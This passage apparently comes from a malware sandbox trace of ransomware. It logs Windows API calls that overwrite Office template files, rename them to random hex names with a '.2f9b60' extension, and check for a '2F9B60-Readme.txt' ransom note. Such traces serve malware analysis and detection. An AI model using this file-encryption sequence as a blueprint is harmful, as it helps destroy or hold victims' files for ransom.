lpNumberOfBytesWritten=0x354af8e0, lpOverlapped=0x0 | out: lpBuffer=0x41e04990*, lpNumberOfBytesWritten=0x354af8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0112.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e04990) returned 1 [0112.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41df1d40) returned 1 [0112.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202a86e0 [0112.632] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0112.632] WriteFile (in: hFile=0xedc, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x354af990, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x354af990*=0x102, lpOverlapped=0x0) returned 1 [0112.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0112.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868840 [0112.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263da0 [0112.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263da0) returned 1 [0112.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0112.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263da0 [0112.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261040 [0112.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261040) returned 1 [0112.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868840) returned 1 [0112.648] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0112.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x20261040 [0112.648] sprintf (in: _Dest=0x20261040, _Format="%c%c" | out: _Dest="f7") returned 2 [0112.649] sprintf (in: _Dest=0x20261042, _Format="%c%c" | out: _Dest="05") returned 2 [0112.649] sprintf (in: _Dest=0x20261044, _Format="%c%c" | out: _Dest="53") returned 2 [0112.649] sprintf (in: _Dest=0x20261046, _Format="%c%c" | out: _Dest="4d") returned 2 [0112.649] sprintf (in: _Dest=0x20261048, _Format="%c%c" | out: _Dest="87") returned 2 [0112.649] sprintf (in: _Dest=0x2026104a, _Format="%c%c" | out: _Dest="09") returned 2 [0112.649] sprintf (in: _Dest=0x2026104c, _Format="%c%c" | out: _Dest="3a") returned 2 [0112.649] sprintf (in: _Dest=0x2026104e, _Format="%c%c" | out: _Dest="fd") returned 2 [0112.649] sprintf (in: _Dest=0x20261050, _Format="%c%c" | out: _Dest="1d") returned 2 [0112.649] sprintf (in: _Dest=0x20261052, _Format="%c%c" | out: _Dest="85") returned 2 [0112.649] sprintf (in: _Dest=0x20261054, _Format="%c%c" | out: _Dest="6e") returned 2 [0112.649] sprintf (in: _Dest=0x20261056, _Format="%c%c" | out: _Dest="df") returned 2 [0112.649] sprintf (in: _Dest=0x20261058, _Format="%c%c" | out: _Dest="ea") returned 2 [0112.649] sprintf (in: _Dest=0x2026105a, _Format="%c%c" | out: _Dest="5d") returned 2 [0112.649] sprintf (in: _Dest=0x2026105c, _Format="%c%c" | out: _Dest="91") returned 2 [0112.649] sprintf (in: _Dest=0x2026105e, _Format="%c%c" | out: _Dest="63") returned 2 [0112.649] RtlInitAnsiString (in: DestinationString=0x354afa08, SourceString="f705534d87093afd1d856edfea5d9163" | out: DestinationString="f705534d87093afd1d856edfea5d9163") [0112.649] RtlAnsiStringToUnicodeString (in: DestinationString=0x354af9d8, SourceString="f705534d87093afd1d856edfea5d9163", AllocateDestinationString=1 | out: DestinationString="f705534d87093afd1d856edfea5d9163") returned 0x0 [0112.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c490 [0112.650] wcscat (in: _Dest=0x1b85cba0, _Source="f705534d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\f705534d") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\f705534d" [0112.650] wcscat (in: _Dest=0x1b85cba0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\f705534d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\f705534d.2f9b60" [0112.650] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\f705534d.2f9b60", NtPathName=0x354af9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\f705534d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0112.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd65d90 [0112.650] NtSetInformationFile (FileHandle=0xedc, IoStatusBlock=0x354afa50, FileInformation=0x1cd65d90, Length=0xa0, FileInformationClass=0xa) returned 0x0 [0112.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65d90) returned 1 [0112.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0112.652] NtQueryInformationFile (in: FileHandle=0xedc, IoStatusBlock=0x354afa18, FileInformation=0x354afa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x354afa18, FileInformation=0x354afa28) returned 0x0 [0112.652] NtSetInformationFile (FileHandle=0xedc, IoStatusBlock=0x354afa18, FileInformation=0x354afa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0112.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cba0) returned 1 [0112.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0112.654] FlushFileBuffers (hFile=0xedc) returned 1 [0112.657] CloseHandle (hObject=0xedc) returned 1 [0112.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85cba0 [0112.661] wcscpy (in: _Dest=0x1b85cba0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0112.661] wcscat (in: _Dest=0x1b85cba0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" [0112.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\2f9b60-readme.txt")) returned 0x20 [0112.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cba0) returned 1 [0112.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868940) returned 1 Thread: id = 1129 os_tid = 0xd14 [0112.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR6.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr6.xlt")) returned 0x20 [0112.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR6.XLT", dwFileAttributes=0x20) returned 1 [0112.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR6.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr6.xlt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1600 [0112.629] GetFileSizeEx (in: hFile=0x1600, lpFileSize=0x223efc60 | out: lpFileSize=0x223efc60*=29184) returned 1 [0112.630] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x71fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.630] ReadFile (in: hFile=0x1600, lpBuffer=0x223efbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x223efc28, lpOverlapped=0x0 | out: lpBuffer=0x223efbe0*, lpNumberOfBytesRead=0x223efc28*=0x4, lpOverlapped=0x0) returned 1 [0112.633] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263da0 [0112.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262db0 [0112.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261040 [0112.633] NtQuerySystemTime (in: CurrentTime=0x223efb20 | out: CurrentTime=0x223efb20*=132462177180994000) returned 0x0 [0112.633] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x492e4cab [0112.633] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x7ea46dc0 [0112.633] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0xb7fa2a9 [0112.633] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x524cd54 [0112.634] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x67dc4ade [0112.634] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x75478f3f [0112.634] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0xa985aa7 [0112.634] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x163d4872 [0112.634] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x5bce3e0f [0112.634] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x96014b2 [0112.634] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x13cee9dc [0112.634] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x6ca0af64 [0112.634] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0xb7fa2a9 [0112.634] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x375b0737 [0112.634] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x1d71b5d2 [0112.634] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x593d136d [0112.634] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x31068fe0 [0112.634] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x4befcaa4 [0112.634] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x66829e84 [0112.634] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x40f3e333 [0112.634] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x5f95716 [0112.634] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x6167ea46 [0112.634] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x6328d2fa [0112.634] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x132c3ed8 [0112.634] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x2ac2ef8 [0112.634] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x498d5471 [0112.634] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x17e87c93 [0112.634] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x2899d901 [0112.635] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x1f7e4421 [0112.635] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x12db69fb [0112.635] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x3f1941b9 [0112.635] RtlRandomEx (in: Seed=0x223efb10 | out: Seed=0x223efb10) returned 0x7103a83f [0112.646] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.646] ReadFile (in: hFile=0x1600, lpBuffer=0x41df1d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x223efb80, lpOverlapped=0x0 | out: lpBuffer=0x41df1d40*, lpNumberOfBytesRead=0x223efb80*=0x3c00, lpOverlapped=0x0) returned 1 [0112.655] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0112.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868840 [0112.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8620 [0112.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8620) returned 1 [0112.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e04990 [0112.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8620 [0112.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8650 [0112.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8650) returned 1 [0112.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868840) returned 1 [0112.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0112.656] WriteFile (in: hFile=0x1600, lpBuffer=0x41e04990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x223efb80, lpOverlapped=0x0 | out: lpBuffer=0x41e04990*, lpNumberOfBytesWritten=0x223efb80*=0x3c00, lpOverlapped=0x0) returned 1 [0112.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e04990) returned 1 [0112.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41df1d40) returned 1 [0112.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202a8650 [0112.659] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0112.659] WriteFile (in: hFile=0x1600, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x223efc30, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x223efc30*=0x102, lpOverlapped=0x0) returned 1 [0112.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0112.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868940 [0112.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8710 [0112.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8710) returned 1 [0112.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0112.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8710 [0112.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a86e0 [0112.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a86e0) returned 1 [0112.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868940) returned 1 [0112.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0112.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x202a86e0 [0112.664] sprintf (in: _Dest=0x202a86e0, _Format="%c%c" | out: _Dest="6a") returned 2 [0112.664] sprintf (in: _Dest=0x202a86e2, _Format="%c%c" | out: _Dest="6f") returned 2 [0112.664] sprintf (in: _Dest=0x202a86e4, _Format="%c%c" | out: _Dest="cb") returned 2 [0112.664] sprintf (in: _Dest=0x202a86e6, _Format="%c%c" | out: _Dest="12") returned 2 [0112.664] sprintf (in: _Dest=0x202a86e8, _Format="%c%c" | out: _Dest="cf") returned 2 [0112.664] sprintf (in: _Dest=0x202a86ea, _Format="%c%c" | out: _Dest="bb") returned 2 [0112.664] sprintf (in: _Dest=0x202a86ec, _Format="%c%c" | out: _Dest="05") returned 2 [0112.665] sprintf (in: _Dest=0x202a86ee, _Format="%c%c" | out: _Dest="39") returned 2 [0112.665] sprintf (in: _Dest=0x202a86f0, _Format="%c%c" | out: _Dest="ac") returned 2 [0112.665] sprintf (in: _Dest=0x202a86f2, _Format="%c%c" | out: _Dest="b9") returned 2 [0112.665] sprintf (in: _Dest=0x202a86f4, _Format="%c%c" | out: _Dest="2f") returned 2 [0112.665] sprintf (in: _Dest=0x202a86f6, _Format="%c%c" | out: _Dest="9b") returned 2 [0112.665] sprintf (in: _Dest=0x202a86f8, _Format="%c%c" | out: _Dest="a9") returned 2 [0112.665] sprintf (in: _Dest=0x202a86fa, _Format="%c%c" | out: _Dest="33") returned 2 [0112.665] sprintf (in: _Dest=0x202a86fc, _Format="%c%c" | out: _Dest="72") returned 2 [0112.665] sprintf (in: _Dest=0x202a86fe, _Format="%c%c" | out: _Dest="39") returned 2 [0112.665] RtlInitAnsiString (in: DestinationString=0x223efca8, SourceString="6a6fcb12cfbb0539acb92f9ba9337239" | out: DestinationString="6a6fcb12cfbb0539acb92f9ba9337239") [0112.665] RtlAnsiStringToUnicodeString (in: DestinationString=0x223efc78, SourceString="6a6fcb12cfbb0539acb92f9ba9337239", AllocateDestinationString=1 | out: DestinationString="6a6fcb12cfbb0539acb92f9ba9337239") returned 0x0 [0112.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c760 [0112.665] wcscat (in: _Dest=0x1b85cba0, _Source="6a6fcb12" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6a6fcb12") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6a6fcb12" [0112.665] wcscat (in: _Dest=0x1b85cba0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6a6fcb12.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6a6fcb12.2f9b60" [0112.665] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6a6fcb12.2f9b60", NtPathName=0x223efc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\6a6fcb12.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0112.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd65d90 [0112.666] NtSetInformationFile (FileHandle=0x1600, IoStatusBlock=0x223efcf0, FileInformation=0x1cd65d90, Length=0xa0, FileInformationClass=0xa) returned 0x0 [0112.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65d90) returned 1 [0112.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0112.668] NtQueryInformationFile (in: FileHandle=0x1600, IoStatusBlock=0x223efcb8, FileInformation=0x223efcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x223efcb8, FileInformation=0x223efcc8) returned 0x0 [0112.668] NtSetInformationFile (FileHandle=0x1600, IoStatusBlock=0x223efcb8, FileInformation=0x223efcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0112.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cba0) returned 1 [0112.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0112.669] FlushFileBuffers (hFile=0x1600) returned 1 [0112.670] CloseHandle (hObject=0x1600) returned 1 [0112.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85cba0 [0112.674] wcscpy (in: _Dest=0x1b85cba0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0112.674] wcscat (in: _Dest=0x1b85cba0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" [0112.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\2f9b60-readme.txt")) returned 0x20 [0112.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cba0) returned 1 [0112.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8689c0) returned 1 Thread: id = 1130 os_tid = 0xfe8 [0112.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR7.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr7.xlt")) returned 0x20 [0112.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR7.XLT", dwFileAttributes=0x20) returned 1 [0112.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR7.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr7.xlt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1600 [0112.681] GetFileSizeEx (in: hFile=0x1600, lpFileSize=0x3554fb60 | out: lpFileSize=0x3554fb60*=31744) returned 1 [0112.681] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x7bfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.681] ReadFile (in: hFile=0x1600, lpBuffer=0x3554fae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3554fb28, lpOverlapped=0x0 | out: lpBuffer=0x3554fae0*, lpNumberOfBytesRead=0x3554fb28*=0x4, lpOverlapped=0x0) returned 1 [0112.683] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8740 [0112.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8620 [0112.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8650 [0112.683] NtQuerySystemTime (in: CurrentTime=0x3554fa20 | out: CurrentTime=0x3554fa20*=132462177181462000) returned 0x0 [0112.683] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x200cd1ab [0112.683] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x145fbf6f [0112.683] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x47cfa87a [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x12db69fb [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x2d49a65a [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x5bf732bf [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x51368e56 [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x61eb75e2 [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x1e990d21 [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x2fc5f270 [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x1b738e49 [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x103960b9 [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x338d71b2 [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0xa167c0a [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x114489f3 [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x4ad0da6d [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x2c466a33 [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0xf923be3 [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0xdd5a7e1 [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x72183b9d [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x50d24d69 [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x583043fc [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x2467b542 [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0xd89e1fd [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x16dee3ba [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x42dd44ac [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x3e06af82 [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x6fa31f0 [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x212e89b1 [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x491f356d [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x22390870 [0112.684] RtlRandomEx (in: Seed=0x3554fa10 | out: Seed=0x3554fa10) returned 0x739932ec [0112.696] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.696] ReadFile (in: hFile=0x1600, lpBuffer=0x41df1d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3554fa80, lpOverlapped=0x0 | out: lpBuffer=0x41df1d40*, lpNumberOfBytesRead=0x3554fa80*=0x3c00, lpOverlapped=0x0) returned 1 [0112.701] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0112.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8689c0 [0112.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8740 [0112.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8740) returned 1 [0112.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e04990 [0112.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8740 [0112.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8650 [0112.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8650) returned 1 [0112.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8689c0) returned 1 [0112.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0112.702] WriteFile (in: hFile=0x1600, lpBuffer=0x41e04990*, nNumberOfBytesToWrite=0x3c00, 